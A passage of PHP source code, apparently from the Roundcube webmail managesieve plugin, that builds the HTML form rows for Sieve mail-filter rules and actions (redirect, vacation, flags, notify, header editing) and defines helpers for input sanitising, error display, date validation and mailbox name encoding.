        $mout .= html::span('label input-group-prepend', html::span('input-group-text', rcube::Q($this->plugin->gettext('modifier'))));
        $mout .= $select_mod->show($rule['part'] ?? null);
        $mout .= html::tag('input', [
                'type'  => 'text',
                'name'  => "_rule_trans_type[$id]",
                'id'    => 'rule_trans_type'.$id,
                'value' => $rule_content,
                'size'  => 20,
                'style' => !isset($rule['part']) || $rule['part'] != 'content' ? 'display:none' : '',
                'class' => $this->error_class($id, 'test', 'part', 'rule_trans_type'),
        ]);
        $mout .= '</div>';

        // Date header
        if (in_array('date', $this->exts)) {
            $mout .= '<div id="rule_date_header_div' .$id. '" class="adv input-group"'. ($rule['test'] != 'date' ? ' style="display:none"' : '') .'>';
            $mout .= html::span('label input-group-prepend', html::span('input-group-text', rcube::Q($this->plugin->gettext('dateheader'))));
            $mout .= html::tag('input', [
                    'type'  => 'text',
                    'name'  => "_rule_date_header[$id]",
                    'id'    => 'rule_date_header' . $id,
                    'value' => $rule['test'] == 'date' ? $rule['header'] : '',
                    'size'  => 15,
                    'class' => $this->error_class($id, 'test', 'dateheader', 'rule_date_header'),
                ]);
            $mout .= '</div>';
        }

        // Index
        if (in_array('index', $this->exts)) {
            $need_index = in_array($rule['test'], ['header', ', address', 'date']);
            $mout .= '<div id="rule_index_div' .$id. '" class="adv input-group"'. (!$need_index ? ' style="display:none"' : '') .'>';
            $mout .= html::span('label input-group-prepend', html::span('input-group-text', rcube::Q($this->plugin->gettext('index'))));
            $mout .= html::tag('input', [
                    'type'  => 'text',
                    'name'  => "_rule_index[$id]",
                    'id'    => 'rule_index' . $id,
                    'value' => !empty($rule['index']) ? intval($rule['index']) : '',
                    'size'  => 3,
                    'class' => $this->error_class($id, 'test', 'index', 'rule_index'),
            ]);
            $mout .= html::label('input-group-append',
                    html::tag('input', [
                        'type'    => 'checkbox',
                        'name'    => "_rule_index_last[$id]",
                        'id'      => 'rule_index_last' . $id,
                        'value'   => 1,
                        'checked' => !empty($rule['last']),
                    ]) . rcube::Q($this->plugin->gettext('indexlast')));
            $mout .= '</div>';
        }

        // Duplicate
        if (in_array('duplicate', $this->exts)) {
            $need_duplicate = $rule['test'] == 'duplicate';
            $mout .= '<div id="rule_duplicate_div' .$id. '" class="adv"'. (!$need_duplicate ? ' style="display:none"' : '') .'>';

            foreach (['handle', 'header', 'uniqueid'] as $unit) {
                $mout .= '<div class="input-group">';
                $mout .= html::span('label input-group-prepend', html::span('input-group-text', rcube::Q($this->plugin->gettext('duplicate.' . $unit))));
                $mout .= html::tag('input', [
                        'type'  => 'text',
                        'name'  => '_rule_duplicate_' . $unit . "[$id]",
                        'id'    => 'rule_duplicate_' . $unit . $id,
                        'value' => $rule[$unit] ?? '',
                        'size'  => 30,
                        'class' => $this->error_class($id, 'test', 'duplicate_' . $unit, 'rule_duplicate_' . $unit),
                ]);
                $mout .= '</div>';
            }

            $mout .= '<div class="input-group">';
            $mout .= html::span('label input-group-prepend', html::span('input-group-text', rcube::Q($this->plugin->gettext('duplicate.seconds'))));
            $mout .= html::tag('input', [
                    'type'  => 'text',
                    'name'  => "_rule_duplicate_seconds[$id]",
                    'id'    => 'rule_duplicate_seconds' . $id,
                    'value' => $rule['seconds'] ?? '',
                    'size'  => 6,
                    'class' => $this->error_class($id, 'test', 'duplicate_seconds', 'rule_duplicate_seconds'),
            ]);
            $mout .= html::label('input-group-append',
                html::tag('input', [
                    'type'    => 'checkbox',
                    'name'    => "_rule_duplicate_last[$id]",
                    'id'      => 'rule_duplicate_last' . $id,
                    'value'   => 1,
                    'checked' => !empty($rule['last']),
                ]) . rcube::Q($this->plugin->gettext('duplicate.last')));
            $mout .= '</div>';
            $mout .= '</div>';
        }

        $add_title = rcube::Q($this->plugin->gettext('add'));
        $del_title = rcube::Q($this->plugin->gettext('del'));
        $adv_title = rcube::Q($this->plugin->gettext('advancedopts'));

        // Build output table
        $out = $div ? '<div class="rulerow" id="rulerow' .$id .'">'."\n" : '';
        $out .= '<table class="compact-table"><tr>';

        if (!$compact) {
            $out .= '<td class="advbutton">';
            $out .= sprintf('<a href="#" id="ruleadv%s" title="%s" onclick="rule_adv_switch(%s, this); return false" class="show">'
                . '<span class="inner">%s</span></a>', $id, $adv_title, $id, $adv_title);
            $out .= '</td>';
        }

        $out .= '<td class="rowactions"><div class="flexbox">' . $aout . '</div></td>';
        $out .= '<td class="rowtargets">' . $tout . "\n";
        $out .= '<div id="rule_advanced' .$id. '" style="display:none" class="advanced">' . $mout . '</div>';
        $out .= '</td>';
        $out .= '<td class="rowbuttons">';
        if ($compact) {
            $out .= sprintf('<a href="#" id="ruleadv%s" title="%s" onclick="rule_adv_switch(%s, this); return false" class="advanced show">'
                . '<span class="inner">%s</span></a>', $id, $adv_title, $id, $adv_title);
        }
        $out .= sprintf('<a href="#" id="ruleadd%s" title="%s" onclick="rcmail.managesieve_ruleadd(\'%s\'); return false" class="button create add">'
            . '<span class="inner">%s</span></a>', $id, $add_title, $id, $add_title);
        $out .= sprintf('<a href="#" id="ruledel%s" title="%s" onclick="rcmail.managesieve_ruledel(\'%s\'); return false" class="button delete del%s">'
            . '<span class="inner">%s</span></a>', $id, $del_title, $id, ($rows_num < 2 ? ' disabled' : ''), $del_title);
        $out .= '</td>';

        $out .= '</tr></table>';
        $out .= $div ? "</div>\n" : '';

        return $out;
    }

    private static function rule_test(&$rule)
    {
        // first modify value/count tests with 'not' keyword
        // we'll revert the meaning of operators
        if (!empty($rule['not']) && !empty($rule['type'])
            && preg_match('/^(count|value)-([gteqnl]{2})/', $rule['type'], $m)
        ) {
            $rule['not'] = false;

            switch ($m[2]) {
            case 'gt': $rule['type'] = $m[1] . '-le'; break;
            case 'ge': $rule['type'] = $m[1] . '-lt'; break;
            case 'lt': $rule['type'] = $m[1] . '-ge'; break;
            case 'le': $rule['type'] = $m[1] . '-gt'; break;
            case 'eq': $rule['type'] = $m[1] . '-ne'; break;
            case 'ne': $rule['type'] = $m[1] . '-eq'; break;
            }
        }
        else if (!empty($rule['not']) && !empty($rule['test']) && $rule['test'] == 'size') {
            $rule['not']  = false;
            $rule['type'] = $rule['type'] == 'over' ? 'under' : 'over';
        }

        $set  = ['header', 'address', 'envelope', 'body', 'date', 'currentdate', 'string'];
        $test = null;

        // build test string supported by select element
        if (!empty($rule['size'])) {
            $test = $rule['type'];
        }
        else if (!empty($rule['test']) && in_array($rule['test'], $set)) {
            $test = (!empty($rule['not']) ? 'not' : '') . ($rule['type'] ?: 'is');
        }
        else if (!empty($rule['test'])) {
            $test = (!empty($rule['not']) ? 'not' : '') . $rule['test'];
        }

        return $test;
    }

    function action_div($fid, $id, $div = true)
    {
        if (isset($id) && isset($this->form)) {
            $action = $this->form['actions'][$id];
        }
        else if (isset($id) && isset($this->script[$fid]['actions'][$id])) {
            $action = $this->script[$fid]['actions'][$id];
        }
        else {
            $action = ['type' => null];
        }

        if (isset($this->form['actions'])) {
            $rows_num = count($this->form['actions']);
        }
        else if (isset($this->script[$fid]['actions'])) {
            $rows_num = count($this->script[$fid]['actions']);
        }
        else {
            $rows_num = 0;
        }

        $out = $div ? '<div class="actionrow" id="actionrow' .$id .'">'."\n" : '';

        $out .= '<table class="compact-table"><tr><td class="rowactions">';

        // action select
        $select_action = new html_select([
                'name'     => "_action_type[$id]",
                'id'       => 'action_type' . $id,
                'class'    => 'custom-select',
                'onchange' => "action_type_select($id)"
        ]);
        if (in_array('fileinto', $this->exts)) {
            $select_action->add($this->plugin->gettext('messagemoveto'), 'fileinto');
        }
        if (in_array('fileinto', $this->exts) && in_array('copy', $this->exts)) {
            $select_action->add($this->plugin->gettext('messagecopyto'), 'fileinto_copy');
        }
        if ($action['type'] == 'redirect' || !in_array('redirect', $this->disabled_actions)) {
            $select_action->add($this->plugin->gettext('messageredirect'), 'redirect');
            if (in_array('copy', $this->exts)) {
                $select_action->add($this->plugin->gettext('messagesendcopy'), 'redirect_copy');
            }
        }
        if (in_array('reject', $this->exts)) {
            $select_action->add($this->plugin->gettext('messagediscard'), 'reject');
        }
        else if (in_array('ereject', $this->exts)) {
            $select_action->add($this->plugin->gettext('messagediscard'), 'ereject');
        }
        if (in_array('vacation', $this->exts)) {
            $select_action->add($this->plugin->gettext('messagereply'), 'vacation');
        }
        $select_action->add($this->plugin->gettext('messagedelete'), 'discard');
        if (in_array('imapflags', $this->exts) || in_array('imap4flags', $this->exts)) {
            $select_action->add($this->plugin->gettext('setflags'), 'setflag');
            $select_action->add($this->plugin->gettext('addflags'), 'addflag');
            $select_action->add($this->plugin->gettext('removeflags'), 'removeflag');
        }
        if (in_array('editheader', $this->exts)) {
            $select_action->add($this->plugin->gettext('addheader'), 'addheader');
            $select_action->add($this->plugin->gettext('deleteheader'), 'deleteheader');
        }
        if (in_array('variables', $this->exts)) {
            $select_action->add($this->plugin->gettext('setvariable'), 'set');
        }
        if (in_array('enotify', $this->exts) || in_array('notify', $this->exts)) {
            $select_action->add($this->plugin->gettext('notify'), 'notify');
        }
        $select_action->add($this->plugin->gettext('messagekeep'), 'keep');
        $select_action->add($this->plugin->gettext('rulestop'), 'stop');

        $select_type = $action['type'];
        if (in_array($action['type'], ['fileinto', 'redirect']) && !empty($action['copy'])) {
            $select_type .= '_copy';
        }

        $out .= $select_action->show($select_type);
        $out .= '</td>';

        // actions target inputs
        $out .= '<td class="rowtargets">';

        // force domain selection in redirect email input
        $domains = (array) $this->rc->config->get('managesieve_domains');

        if (!empty($domains)) {
            sort($domains);

            $domain_select = new html_select([
                    'name'  => "_action_target_domain[$id]",
                    'id'    => 'action_target_domain' . $id,
                    'class' => 'custom-select',
            ]);

            $domain_select->add(array_combine($domains, $domains));

            if ($action['type'] == 'redirect') {
                $parts = explode('@', $action['target']);
                if (!empty($parts)) {
                    $action['domain'] = array_pop($parts);
                    $action['target'] = implode('@', $parts);
                }
            }
        }

        // redirect target
        $out .= '<span id="redirect_target' . $id . '" class="input-group" style="white-space:nowrap;'
            . ' display:' . ($action['type'] == 'redirect' ? '' : 'none') . '">'
            . html::tag('input', [
                'type'  => 'text',
                'name'  => "_action_target[$id]",
                'id'    => 'action_target' . $id,
                'value' => $action['type'] == 'redirect' ? $action['target'] : '',
                'size'  => !empty($domains) ? 20 : 35,
                'class' => $this->error_class($id, 'action', 'target', 'action_target'),
            ]);
        $out .= isset($domain_select) ? '<span class="input-group-append input-group-prepend">'
            . ' <span class="input-group-text">@</span> </span>'
            . $domain_select->show(!empty($action['domain']) ? $action['domain'] : '') : '';
        $out .= '</span>';

        // (e)reject target
        $out .= html::tag('textarea', [
                'name'  => '_action_target_area[' . $id . ']',
                'id'    => 'action_target_area' . $id,
                'rows'  => 3,
                'cols'  => 35,
                'class' => $this->error_class($id, 'action', 'targetarea', 'action_target_area'),
                'style' => 'display:' . (in_array($action['type'], ['reject', 'ereject']) ? 'inline' : 'none'),
            ],
            (in_array($action['type'], ['reject', 'ereject']) ? rcube::Q($action['target'], 'strict', false) : '')
        );

        // vacation
        $vsec      = in_array('vacation-seconds', $this->exts);
        $auto_addr = $this->rc->config->get('managesieve_vacation_addresses_init');
        $from_addr = $this->rc->config->get('managesieve_vacation_from_init');

        if (empty($action)) {
            if ($auto_addr) {
                $action['addresses'] = $this->user_emails();
            }
            if ($from_addr) {
                $default_identity = $this->rc->user->list_emails(true);
                $action['from']   = format_email_recipient($default_identity['email'], $default_identity['name']);
            }
        }
        else if (!empty($action['from'])) {
            $from = rcube_mime::decode_address_list($action['from'], null, true, RCUBE_CHARSET);
            foreach ((array) $from as $idx => $addr) {
                $from[$idx] = format_email_recipient($addr['mailto'], $addr['name']);
            }
            if (!empty($from)) {
                $action['from'] = implode(', ', $from);
            }
        }

        $action_subject = '';
        if (isset($action['subject'])) {
            $action_subject = is_array($action['subject']) ? implode(', ', $action['subject']) : $action['subject'];
        }

        $out .= '<div id="action_vacation' .$id.'" style="display:' .($action['type'] == 'vacation' ? 'inline' : 'none') .'" class="composite">';
        $out .= '<span class="label">'. rcube::Q($this->plugin->gettext('vacationreason')) .'</span><br>';
        $out .= html::tag('textarea', [
                'name'  => "_action_reason[$id]",
                'id'   => 'action_reason' . $id,
                'rows'  => 3,
                'cols'  => 35,
                'class' => $this->error_class($id, 'action', 'reason', 'action_reason'),
            ], rcube::Q($action['reason'] ?? '', 'strict', false));
        $out .= '<br><span class="label">' .rcube::Q($this->plugin->gettext('vacationsubject')) . '</span><br>';
        $out .= html::tag('input', [
                'type'  => 'text',
                'name'  => "_action_subject[$id]",
                'id'    => 'action_subject' . $id,
                'value' => $action_subject,
                'size'  => 35,
                'class' => $this->error_class($id, 'action', 'subject', 'action_subject'),
        ]);
        $out .= '<br><span class="label">' .rcube::Q($this->plugin->gettext('vacationfrom')) . '</span><br>';
        $out .= html::tag('input', [
                'type'  => 'text',
                'name'  => "_action_from[$id]",
                'id'    => 'action_from' . $id,
                'value' => $action['from'] ?? '',
                'size'  => 35,
                'class' => $this->error_class($id, 'action', 'from', 'action_from'),
        ]);
        $out .= '<br><span class="label">' .rcube::Q($this->plugin->gettext('vacationaddr')) . '</span><br>';
        $out .= $this->list_input($id, 'action_addresses', $action['addresses'] ?? null,
                30, false, ['class' => $this->error_class($id, 'action', 'addresses', 'action_addresses')]
            )
            . html::a(['href' => '#', 'onclick' => rcmail_output::JS_OBJECT_NAME . ".managesieve_vacation_addresses($id)"],
                rcube::Q($this->plugin->gettext('filladdresses')));
        $out .= '<br><span class="label">' . rcube::Q($this->plugin->gettext('vacationinterval')) . '</span><br>';
        $out .= '<div class="input-group">' . html::tag('input', [
                'type'  => 'text',
                'name'  => "_action_interval[$id]",
                'id'    => 'action_interval' . $id,
                'value' => rcube_sieve_vacation::vacation_interval($action, $this->exts),
                'size'  => 2,
                'class' => $this->error_class($id, 'action', 'interval', 'action_interval'),
        ]);
        if ($vsec) {
            $interval_select = new html_select([
                    'name'  => "_action_interval_type[$id]",
                    'class' => 'input-group-append custom-select'
            ]);
            $interval_select->add($this->plugin->gettext('days'), 'days');
            $interval_select->add($this->plugin->gettext('seconds'), 'seconds');
            $out .= $interval_select->show(isset($action['seconds']) ? 'seconds' : 'days');
        }
        else {
            $out .= "\n" . html::span('input-group-append', html::span('input-group-text', $this->plugin->gettext('days')));
        }
        $out .= '</div></div>';

        // flags
        $flags = [
            'read'      => '\\Seen',
            'answered'  => '\\Answered',
            'flagged'   => '\\Flagged',
            'deleted'   => '\\Deleted',
            'draft'     => '\\Draft',
        ];

        $flags_target   = isset($action['target']) ? (array) $action['target'] : [];
        $custom_flags   = [];
        $is_flag_action = preg_match('/^(set|add|remove)flag$/', (string) $action['type']);

        if ($is_flag_action) {
            $custom_flags = array_filter($flags_target, function($v) use($flags) {
                return !in_array_nocase($v, $flags);
            });
        }

        $flout = '';

        foreach ($flags as $fidx => $flag) {
            $flout .= html::label(null, html::tag('input', [
                    'type'    => 'checkbox',
                    'name'    => "_action_flags[$id][]",
                    'value'   => $flag,
                    'checked' => $is_flag_action && in_array_nocase($flag, $flags_target),
                ])
                . rcube::Q($this->plugin->gettext('flag'.$fidx))) . '<br>';
        }

        $flout .= $this->list_input($id, 'action_flags', $custom_flags, null, false, [
                'class' => $this->error_class($id, 'action', 'flag', 'action_flags_flag'),
                'id'    => "action_flags_flag{$id}"
        ]);

        $out .= html::div([
                'id'    => 'action_flags' . $id,
                'style' => 'display:' . ($is_flag_action ? 'inline' : 'none'),
                'class' => trim('checklist ' . $this->error_class($id, 'action', 'flags', 'action_flags')),
            ], $flout);

        // set variable
        $set_modifiers = [
            'lower',
            'upper',
            'lowerfirst',
            'upperfirst',
            'quotewildcard',
            'length'
        ];

        $out .= '<div id="action_set' .$id.'" class="composite" style="display:' .($action['type'] == 'set' ? 'inline' : 'none') .'">';
        foreach (['name', 'value'] as $unit) {
            $out .= '<span class="label">' .rcube::Q($this->plugin->gettext('setvar' . $unit)) . '</span><br>';
            $out .= html::tag('input', [
                    'type'  => 'text',
                    'name'  => '_action_var' . $unit . '[' . $id . ']',
                    'id'    => 'action_var' . $unit . $id,
                    'value' => $action[$unit] ?? '',
                    'size'  => 35,
                    'class' => $this->error_class($id, 'action', $unit, 'action_var' . $unit),
            ]);
            $out .= '<br>';
        }

        $smout = '';
        foreach ($set_modifiers as $s_m) {
            $smout .= html::label(null,
                html::tag('input', [
                    'type'    => 'checkbox',
                    'name'    => "_action_varmods[$id][]",
                    'value'   => $s_m,
                    'checked' => array_key_exists($s_m, (array) $action) && !empty($action[$s_m]),
                ])
                . rcube::Q($this->plugin->gettext('var' . $s_m))
            );
        }

        $out .= '<span class="label">' .rcube::Q($this->plugin->gettext('setvarmodifiers')) . '</span>';
        $out .= html::div('checklist', $smout);
        $out .= '</div>';

        // notify
        $notify_methods     = (array) $this->rc->config->get('managesieve_notify_methods');
        $importance_options = $this->notify_importance_options;

        if (empty($notify_methods)) {
            $notify_methods = $this->notify_methods;
        }

        $method = $target = '';

        if (!empty($action['method'])) {
            list($method, $target) = explode(':', $action['method'], 2);
            $method = strtolower($method);
        }

        if ($method && !in_array($method, $notify_methods)) {
            $notify_methods[] = $method;
        }

        $select_method = new html_select([
            'name'  => "_action_notifymethod[$id]",
            'id'    => "_action_notifymethod$id",
            'class' => 'input-group-prepend custom-select ' . $this->error_class($id, 'action', 'method', 'action_notifymethod'),
        ]);

        foreach ($notify_methods as $m_n) {
            $select_method->add(rcube::Q($this->rc->text_exists('managesieve.notifymethod'.$m_n) ? $this->plugin->gettext('managesieve.notifymethod'.$m_n) : $m_n), $m_n);
        }

        $select_importance = new html_select([
            'name'  => "_action_notifyimportance[$id]",
            'id'    => "_action_notifyimportance$id",
            'class' => 'custom-select ' . $this->error_class($id, 'action', 'importance', 'action_notifyimportance')
        ]);

        foreach ($importance_options as $io_v => $io_n) {
            $select_importance->add(rcube::Q($this->plugin->gettext($io_n)), $io_v);
        }

        // @TODO: nice UI for mailto: (other methods too) URI parameters
        $out .= '<div id="action_notify' .$id.'" style="display:' .($action['type'] == 'notify' ? 'inline' : 'none') .'" class="composite">';
        $out .= '<span class="label">' .rcube::Q($this->plugin->gettext('notifytarget')) . '</span><br>';
        $out .= '<div class="input-group">';
        $out .= $select_method->show($method);
        $out .= html::tag('input', [
                'type'  => 'text',
                'name'  => "_action_notifytarget[$id]",
                'id'    => 'action_notifytarget' . $id,
                'value' => $target,
                'size'  => 25,
                'class' => $this->error_class($id, 'action', 'target', 'action_notifytarget'),
        ]);
        $out .= '</div>';
        $out .= '<br><span class="label">'. rcube::Q($this->plugin->gettext('notifymessage')) .'</span><br>';
        $out .= html::tag('textarea', [
                'name'  => "_action_notifymessage[$id]",
                'id'    => 'action_notifymessage' . $id,
                'rows'  => 3,
                'cols'  => 35,
                'class' => $this->error_class($id, 'action', 'message', 'action_notifymessage'),
            ], isset($action['message']) ? rcube::Q($action['message'], 'strict', false) : ''
        );
        if (in_array('enotify', $this->exts)) {
            $out .= '<br><span class="label">' .rcube::Q($this->plugin->gettext('notifyfrom')) . '</span><br>';
            $out .= html::tag('input', [
                    'type'  => 'text',
                    'name'  => "_action_notifyfrom[$id]",
                    'id'    => 'action_notifyfrom' . $id,
                    'value' => $action['from'] ?? '',
                    'size'  => 35,
                    'class' => $this->error_class($id, 'action', 'from', 'action_notifyfrom'),
            ]);
        }
        $out .= '<br><span class="label">' . rcube::Q($this->plugin->gettext('notifyimportance')) . '</span><br>';
        $out .= $select_importance->show(!empty($action['importance']) ? (int) $action['importance'] : 2);
        $out .= '<div id="action_notifyoption_div' . $id  . '">'
            . '<span class="label">' . rcube::Q($this->plugin->gettext('notifyoptions')) . '</span><br>'
            . $this->list_input($id, 'action_notifyoption', !empty($action['options']) ? (array) $action['options'] : [],
                30, false, ['class' => $this->error_class($id, 'action', 'options', 'action_notifyoption')]
            ) . '</div>';
        $out .= '</div>';

        if (in_array('editheader', $this->exts)) {
            $action['pos'] = !empty($action['last']) ? 'last' : '';
            $pos1_selector = new html_select([
                    'name'  => "_action_addheader_pos[$id]",
                    'id'    => "action_addheader_pos$id",
                    'class' => 'custom-select ' . $this->error_class($id, 'action', 'pos', 'action_addheader_pos')
            ]);
            $pos1_selector->add($this->plugin->gettext('headeratstart'), '');
            $pos1_selector->add($this->plugin->gettext('headeratend'), 'last');
            $pos2_selector = new html_select([
                    'name'  => "_action_delheader_pos[$id]",
                    'id'    => "action_delheader_pos$id",
                    'class' => 'custom-select ' . $this->error_class($id, 'action', 'pos', 'action_delheader_pos')
            ]);
            $pos2_selector->add($this->plugin->gettext('headerfromstart'), '');
            $pos2_selector->add($this->plugin->gettext('headerfromend'), 'last');

            // addheader
            $out .= '<div id="action_addheader' .$id.'" style="display:' .($action['type'] == 'addheader' ? 'inline' : 'none') .'" class="composite">';
            $out .= '<label class="label" for="action_addheader_name' . $id .'">' .rcube::Q($this->plugin->gettext('headername')) . '</label><br>';
            $out .= html::tag('input', [
                    'type'  => 'text',
                    'name'  => "_action_addheader_name[$id]",
                    'id'    => "action_addheader_name{$id}",
                    'value' => $action['name'] ?? '',
                    'size'  => 35,
                    'class' => $this->error_class($id, 'action', 'name', 'action_addheader_name'),
            ]);
            $out .= '<br><label class="label" for="action_addheader_value' . $id .'">'. rcube::Q($this->plugin->gettext('headervalue')) .'</label><br>';
            $out .= html::tag('input', [
                    'type'  => 'text',
                    'name'  => "_action_addheader_value[$id]",
                    'id'    => "action_addheader_value{$id}",
                    'value' => $action['value'] ?? '',
                    'size'  => 35,
                    'class' => $this->error_class($id, 'action', 'value', 'action_addheader_value'),
            ]);
            $out .= '<br><label class="label" for="action_addheader_pos' . $id .'">'. rcube::Q($this->plugin->gettext('headerpos')) .'</label><br>';
            $out .= $pos1_selector->show($action['pos']);
            $out .= '</div>';

            // deleteheader
            $out .= '<div id="action_deleteheader' .$id.'" style="display:' .($action['type'] == 'deleteheader' ? 'inline' : 'none') .'" class="composite">';
            $out .= '<label class="label" for="action_delheader_name' . $id .'">' .rcube::Q($this->plugin->gettext('headername')) . '</label><br>';
            $out .= html::tag('input', [
                    'type'  => 'text',
                    'name'  => "_action_delheader_name[$id]",
                    'id'    => "action_delheader_name{$id}",
                    'value' => $action['name'] ?? '',
                    'size'  => 35,
                    'class' => $this->error_class($id, 'action', 'name', 'action_delheader_name'),
            ]);
            $out .= '<br><label class="label" for="action_delheader_value' . $id .'">'. rcube::Q($this->plugin->gettext('headerpatterns')) .'</label><br>';
            $out .= $this->list_input($id, 'action_delheader_value', $action['value'] ?? null,
                null, false, ['class' => $this->error_class($id, 'action', 'value', 'action_delheader_value')]) . "\n";
            $out .= '<br><div class="adv input-group">';
            $out .= html::span('label input-group-prepend', html::label([
                    'class' => 'input-group-text', 'for' => 'action_delheader_op'.$id
                ], rcube::Q($this->plugin->gettext('headermatchtype'))));
            $out .= $this->match_type_selector('action_delheader_op', $id, $action['match-type'] ?? null, null, 'basic');
            $out .= '</div>';
            $out .= '<div class="adv input-group">';
            $out .= html::span('label input-group-prepend', html::label([
                    'class' => 'input-group-text', 'for' => 'action_delheader_comp_op'.$id
                ], rcube::Q($this->plugin->gettext('comparator'))));
            $out .= $this->comparator_selector($action['comparator'] ?? null, 'action_delheader_comp', $id);
            $out .= '</div>';
            $out .= '<br><label class="label" for="action_delheader_index' . $id .'">'. rcube::Q($this->plugin->gettext('headeroccurrence')) .'</label><br>';
            $out .= '<div class="input-group">';
            $out .= html::tag('input', [
                    'type'  => 'text',
                    'name'  => "_action_delheader_index[$id]",
                    'id'    => "action_delheader_index{$id}",
                    'value' => !empty($action['index']) ? intval($action['index']) : '',
                    'size'  => 5,
                    'class' => $this->error_class($id, 'action', 'index', 'action_delheader_index'),
            ]);
            $out .= ' ' . $pos2_selector->show($action['pos']);
            $out .= '</div></div>';
        }

        // mailbox select
        $additional = [];
        if ($action['type'] == 'fileinto' && isset($action['target'])) {
            // make sure non-existing (or unsubscribed) mailbox is listed (#1489956)
            if ($mailbox = $this->mod_mailbox($action['target'], 'out')) {
                $additional = [$mailbox];
            }
        }
        else {
            $mailbox = '';
        }

        $select = rcmail_action::folder_selector([
                'maxlength'  => 100,
                'name'       => "_action_mailbox[$id]",
                'id'         => "action_mailbox{$id}",
                'style'      => 'display:'.(empty($action['type']) || $action['type'] == 'fileinto' ? 'inline' : 'none'),
                'additional' => $additional,
        ]);
        $out .= $select->show($mailbox);
        $out .= '</td>';

        // add/del buttons
        $add_label = rcube::Q($this->plugin->gettext('add'));
        $del_label = rcube::Q($this->plugin->gettext('del'));
        $out .= '<td class="rowbuttons">';
        $out .= sprintf('<a href="#" id="actionadd%s" title="%s" onclick="rcmail.managesieve_actionadd(%s)" class="button create add">'
            . '<span class="inner">%s</span></a>', $id, $add_label, $id, $add_label);
        $out .= sprintf('<a href="#" id="actiondel%s" title="%s" onclick="rcmail.managesieve_actiondel(%s)" class="button delete del%s">'
            . '<span class="inner">%s</span></a>', $id, $del_label, $id, ($rows_num < 2 ? ' disabled' : ''), $del_label);
        $out .= '</td>';

        $out .= '</tr></table>';

        $out .= $div ? "</div>\n" : '';

        return $out;
    }

    /**
     * Generates a numeric identifier for a filter
     */
    protected function genid()
    {
        return preg_replace('/[^0-9]/', '', microtime(true));
    }

    /**
     * Trims and makes safe an input value
     *
     * @param string|array $str        Input value
     * @param bool         $allow_html Allow HTML tags in the value
     * @param bool         $trim       Trim the value
     *
     * @return string|array
     */
    protected function strip_value($str, $allow_html = false, $trim = true)
    {
        if (is_array($str)) {
            foreach ($str as $idx => $val) {
                $str[$idx] = $this->strip_value($val, $allow_html, $trim);

                if ($str[$idx] === '') {
                    unset($str[$idx]);
                }
            }

            return $str;
        }

        $str = (string) $str;

        if (!$allow_html) {
            $str = strip_tags($str);
        }

        return $trim ? trim($str) : $str;
    }

    /**
     * Returns error class, if there's a form error "registered"
     */
    protected function error_class($id, $type, $target, $elem_prefix = '')
    {
        // TODO: tooltips
        if (
            ($type == 'test' && !empty($this->errors['tests'][$id][$target]))
            || ($type == 'action' && !empty($this->errors['actions'][$id][$target]))
        ) {
            $str = $this->errors[$type == 'test' ? 'tests' : 'actions'][$id][$target];
            $this->add_tip($elem_prefix . $id, $str, true);

            return 'error';
        }

        return '';
    }

    protected function add_tip($id, $str, $error = false)
    {
        $class = $error ? 'sieve error' : '';

        $this->tips[] = [$id, $class, $str];
    }

    protected function print_tips()
    {
        if (empty($this->tips)) {
            return;
        }

        $script = rcmail_output::JS_OBJECT_NAME.'.managesieve_tip_register('.json_encode($this->tips).');';
        $this->rc->output->add_script($script, 'docready');
    }

    protected function list_input($id, $name, $value, $size = null, $hidden = false, $attrib = [])
    {
        $value = (array) $value;
        $value = array_map(['rcube', 'Q'], $value);
        $value = implode("\n", $value);

        $attrib = array_merge($attrib, [
                'data-type' => 'list',
                'data-size' => $size,
                'data-hidden' => $hidden ?: null,
                'name'      => '_' . $name . '[' . $id . ']',
                'style'     => 'display:none',
        ]);

        if (empty($attrib['id'])) {
            $attrib['id'] = $name . $id;
        }

        return html::tag('textarea', $attrib, $value);
    }

    /**
     * Validate input for date part elements
     */
    protected function validate_date_part($type, $value)
    {
        // we do simple validation of date/part format
        switch ($type) {
            case 'date': // yyyy-mm-dd
                return preg_match('/^[0-9]{4}-[0-9]{2}-[0-9]{2}$/', $value);
            case 'iso8601':
                return preg_match('/^[0-9: .,ZWT+-]+$/', $value);
            case 'std11':
                return preg_match('/^((Sun|Mon|Tue|Wed|Thu|Fri|Sat),\s+)?[0-9]{1,2}\s+'
                    . '(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+[0-9]{2,4}\s+'
                    . '[0-9]{2}:[0-9]{2}(:[0-9]{2})?\s+([+-]*[0-9]{4}|[A-Z]{1,3})$/', $value);
            case 'julian':
                return preg_match('/^[0-9]+$/', $value);
            case 'time': // hh:mm:ss
                return preg_match('/^[0-9]{2}:[0-9]{2}:[0-9]{2}$/', $value);
            case 'year':
                return preg_match('/^[0-9]{4}$/', $value);
            case 'month':
                return preg_match('/^[0-9]{2}$/', $value) && $value > 0 && $value < 13;
            case 'day':
                return preg_match('/^[0-9]{2}$/', $value) && $value > 0 && $value < 32;
            case 'hour':
                return preg_match('/^[0-9]{2}$/', $value) && $value < 24;
            case 'minute':
                return preg_match('/^[0-9]{2}$/', $value) && $value < 60;
            case 'second':
                // According to RFC5260, seconds can be from 00 to 60
                return preg_match('/^[0-9]{2}$/', $value) && $value < 61;
            case 'weekday':
                return preg_match('/^[0-9]$/', $value) && $value < 7;
            case 'zone':
                return preg_match('/^[+-][0-9]{4}$/', $value);
        }
    }

    /**
     * Converts mailbox name from/to UTF7-IMAP from/to internal Sieve encoding
     * with delimiter replacement.
     *
     * @param string $mailbox Mailbox name
     * @param string $mode    Conversion direction ('in'|'out')
     *
     * @return string Mailbox name
     */
    protected function mod_mailbox($mailbox, $mode = 'out')
    {
        $delimiter         = $_SESSION['imap_delimiter'];
        $replace_delimiter = $this->rc->config->get('managesieve_replace_delimiter');
        $mbox_encoding     = $this->rc->config->get('managesieve_mbox_encoding', 'UTF7-IMAP');

        if ($mode == 'out') {
            $mailbox = rcube_charset::convert($mailbox, $mbox_encoding, 'UTF7-IMAP');
            if ($replace_delimiter && $replace_delimiter != $delimiter) {
                $mailbox = str_replace($replace_delimiter, $delimiter, $mailbox);
            }
        }
        else {
            $mailbox = rcube_charset::convert($mailbox, 'UTF7-IMAP', $mbox_encoding);
            if ($replace_delimiter && $replace_delimiter != $delimiter) {
                $mailbox = str_replace($delimiter, $replace_delimiter, $mailbox);
            }
        }

        return $mailbox;
    }

    /**
     * List sieve scripts
     *
     * @return array Scripts list
     */
    public function list_scripts()
    {
        if ($this->list !== null) {
            return $this->list;
        }

        $this->list = $this->sieve->get_scripts();

